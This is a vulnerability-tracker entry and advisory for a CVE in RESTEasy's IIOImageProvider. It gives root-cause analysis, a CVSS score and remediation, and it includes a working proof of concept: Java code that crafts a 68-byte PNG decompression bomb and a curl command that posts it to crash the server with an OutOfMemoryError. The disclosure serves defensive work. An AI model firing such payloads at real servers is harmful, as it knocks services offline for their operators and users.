Bug 2519756 (CVE-2026-89059)
| Summary: | CVE-2026-89059 resteasy-core: RESTEasy: IIOImageProvider Unbounded Image Decode (Decompression-Bomb DoS) | ||
|---|---|---|---|
| Product: | [Other] Security Response | Reporter: | OSIDB Bzimport <bzimport> |
| Component: | vulnerability | Assignee: | Product Security <prodsec-ir-bot> |
| Status: | NEW --- | QA Contact: | |
| Severity: | high | Docs Contact: | |
| Priority: | high | ||
| Version: | unspecified | CC: | aakkiang, anthomas, ant, anujha, aschwart, asoldano, aszczucz, avibelli, bbaranow, bgeorges, bmaxwell, boliveir, bstansbe, ccranfor, cescoffi, cfu, dandread, dkreling, dlofthou, drichtar, edewata, ehelms, ewittman, fmongiar, ggainey, gkimetto, gmalinko, gsmet, istudens, ivassile, iweiss, janstey, jmagne, jmartisk, jnethert, jpasqual, jpechane, juwatts, kaycoth, lthon, manderse, mdellweg, mfargett, mhulan, mosmerov, mposolda, msvehla, nipatil, nmoumoul, nwallace, olubyans, osousa, ozzy, pantinor, pberan, pcreech, pdelbell, pesilva, pgallagh, pjindal, pmackay, prisingh, probinso, rchan, rguimara, rhel-process-autobot, rkubis, rmartinc, rruss, rstancel, rstepani, rsvoboda, sbiarozk, security-response-team, skhandel, smallamp, snegrini, ssilvert, sthorger, taherrin, thjenkin, tmalecek, tqvarnst, varjain, vdosoudi, vmuzikar, watson-tool-maintainers |
| Target Milestone: | --- | Keywords: | Security |
| Target Release: | --- | ||
| Hardware: | All | ||
| OS: | Linux | ||
| Whiteboard: | |||
| Fixed In Version: | Doc Type: | --- | |
| Doc Text: |
A flaw was found in RESTEasy's IIOImageProvider, which decodes attacker-supplied image request bodies without enforcing any limit on the declared image dimensions or pixel count. A remote, unauthenticated attacker can send a small crafted image declaring enormous dimensions to trigger a very large memory allocation, exhausting the JVM heap and resulting in a denial of service.
|
Story Points: | --- |
| Clone Of: | Environment: | ||
| Last Closed: | Type: | --- | |
| Regression: | --- | Mount Type: | --- |
| Documentation: | --- | CRM: | |
| Verified Versions: | Category: | --- | |
| oVirt Team: | --- | RHEL 7.3 requirements from Atomic Host: | |
| Cloudforms Team: | --- | Target Upstream Version: | |
| Embargoed: | |||
| Bug Depends On: | 2536896 | ||
| Bug Blocks: | |||
| Deadline: | 2026-09-15 | ||
# RESTEasy IIOImageProvider Unbounded Image Decode (Decompression-Bomb DoS) | Field | Value | |-------|-------| | **Component** | `resteasy-core` (RESTEasy / JBoss / Red Hat) | | **Affected version** | 7.0.2.Final | | **Vulnerable classes** | `org.jboss.resteasy.plugins.providers.IIOImageProvider`, `IIOImageProviderHelper` | | **Vulnerability type** | CWE-400 Uncontrolled Resource Consumption / CWE-1104 (image-decode bomb) | | **Attack vector** | Remote, unauthenticated HTTP request body | | **Reproduction status** | **Reproduced** (`OutOfMemoryError` from a 68-byte request) | ## Summary `IIOImageProvider.readFrom()` decodes an attacker-supplied `image/*` request body into an `IIOImage` via `ImageReader.readAll(imageIndex, null)` — with a `null` `ImageReadParam`, **no dimension/pixel-count check, and no size limit**. A tiny image file declaring enormous pixel dimensions forces allocation of a `width × height × bytesPerPixel` raster, exhausting the JVM heap. Amplification is effectively unbounded (here 68 bytes → 1.6 GB attempted allocation → `OutOfMemoryError`). ## CVSS 3.1 **Base score: 6.5 (Medium)** — `CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H` ## Root-cause analysis `IIOImageProvider.readFrom` (line 118-120) → `IIOImageProviderHelper.readImage(entityStream, reader, 0)` (line 67-72): ```java reader.setInput(iis, false); return reader.readAll(imageIndex, null); // null ImageReadParam — no region/subsample/dimension bound ``` The `ImageReader` is chosen purely from the client MIME type (`getImageReadersByMIMEType`, line 81). `Content-Length` is never consulted, and no `getWidth()/getHeight()` guard precedes decode. ## Reproduction ### Environment RESTEasy 7.0.2.Final embedded in Undertow, JDK 21, server started with `-Xmx128m`. Resource: ```java @Path("/image") public static class ImageResource { @POST @Consumes("image/*") @Produces("text/plain") public String img(IIOImage image) { return "decoded " + image.getRenderedImage().getWidth() + "x" + image.getRenderedImage().getHeight(); } } ``` ### POC script — craft a 68-byte PNG declaring 20000×20000 (1.6 GB raster; < 2³¹ bytes to avoid int overflow) ```java // MakePng.java (javac MakePng.java && java MakePng -> /tmp/bomb.png) import java.io.*; import java.util.zip.*; public class MakePng { static void chunk(ByteArrayOutputStream o,String t,byte[] d)throws Exception{ o.write(new byte[]{(byte)(d.length>>>24),(byte)(d.length>>>16),(byte)(d.length>>>8),(byte)d.length}); ByteArrayOutputStream b=new ByteArrayOutputStream(); b.write(t.getBytes("US-ASCII")); b.write(d); byte[] tc=b.toByteArray(); o.write(tc); CRC32 c=new CRC32(); c.update(tc); long v=c.getValue(); o.write(new byte[]{(byte)(v>>>24),(byte)(v>>>16),(byte)(v>>>8),(byte)v}); } public static void main(String[] a)throws Exception{ int w=20000,h=20000; ByteArrayOutputStream o=new ByteArrayOutputStream(); o.write(new byte[]{(byte)137,80,78,71,13,10,26,10}); ByteArrayOutputStream ihdr=new ByteArrayOutputStream(); ihdr.write(new byte[]{(byte)(w>>>24),(byte)(w>>>16),(byte)(w>>>8),(byte)w}); ihdr.write(new byte[]{(byte)(h>>>24),(byte)(h>>>16),(byte)(h>>>8),(byte)h}); ihdr.write(new byte[]{8,6,0,0,0}); chunk(o,"IHDR",ihdr.toByteArray()); Deflater d=new Deflater(); d.setInput(new byte[16]); d.finish(); byte[] buf=new byte[64]; int n=d.deflate(buf); chunk(o,"IDAT",java.util.Arrays.copyOf(buf,n)); chunk(o,"IEND",new byte[0]); try(FileOutputStream f=new FileOutputStream("/tmp/bomb.png")){ f.write(o.toByteArray()); } } } ``` ```bash curl -s -o /dev/null -w "status=%{http_code} time=%{time_total}s\n" \ -X POST -H "Content-Type: image/png" --data-binary @/tmp/bomb.png http://127.0.0.1:8080/image ``` ### Observed output (actual) Server log: ``` Caused by: java.lang.OutOfMemoryError: Java heap space at ... at javax.imageio.ImageReader.readAll(ImageReader.java:1065) at org.jboss.resteasy.plugins.providers.IIOImageProviderHelper.readImage(IIOImageProviderHelper.java:71) at org.jboss.resteasy.plugins.providers.IIOImageProvider.readFrom(IIOImageProvider.java:120) ``` A single 68-byte request forced a ~1.6 GB allocation → `OutOfMemoryError`. Under concurrency (or on a constrained heap) this exhausts the server heap and denies service. ## Impact Unauthenticated, high-amplification memory-exhaustion DoS on any endpoint consuming `IIOImage`. ## Remediation Read the header dimensions first (`reader.getWidth(0)`/`getHeight(0)`) and reject images whose pixel count exceeds a configurable maximum before `readAll`; enforce a maximum request-entity size for image endpoints.